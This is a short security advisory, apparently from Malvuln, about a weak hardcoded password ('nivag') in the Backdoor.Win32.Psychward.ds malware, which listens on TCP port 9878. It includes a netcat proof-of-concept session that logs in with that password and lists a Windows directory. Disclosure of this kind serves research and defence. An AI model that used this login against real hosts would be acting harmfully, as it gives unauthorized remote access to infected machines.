Backdoor.Win32.Psychward.ds / Weak Hardcoded Password

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/9e22514c9b0e74c7fcb07b7c091f6123.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.ds
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 9878 and requires a password
for remote user access. However, the backdoors password "nivag" is weak and
hardcoded in plaintext within the executable.
Type: PE32
MD5: 9e22514c9b0e74c7fcb07b7c091f6123
Vuln ID: MVID-2021-0219
Disclosure: 05/18/2021

Exploit/PoC:
nc64.exe x.x.x.x 9878
connected 05/18/21 09:39:43. version 0.2.1
pwd nivag
password accepted
dir
<..>
&lt;addins&gt;
&lt;appcompat&gt;
&lt;apppatch&gt;
&lt;AppReadiness&gt;
assembly             0
Backdoor.Win32.Psychward.ds.9e22514c9b0e74c7fcb07b7c091f6123.exe 51433
&lt;bcastdvr&gt;
bfsvc.exe            65536
BitLockerDiscoveryVolumeContents 0
&lt;Boot&gt;
bootstat.dat         67584
&lt;Branding&gt;
&lt;CbsTemp&gt;
&lt;Containers&gt;
&lt;CSC&gt;
&lt;Cursors&gt;
&lt;debug&gt;
&lt;DeliveryOptimization&gt;
diagerr.xml          7623
&lt;diagnostics&gt;
diagwrn.xml          7623
&lt;DigitalLocker&gt;
Downloaded Program Files 0
ELAMBKUP             0
&lt;en-US&gt;
Enterprise.xml       35990
explorer.exe         3904296
Fonts                0
&lt;GameBarPresenceWriter&gt;
&lt;Globalization&gt;
&lt;Help&gt;
HelpPane.exe         976896


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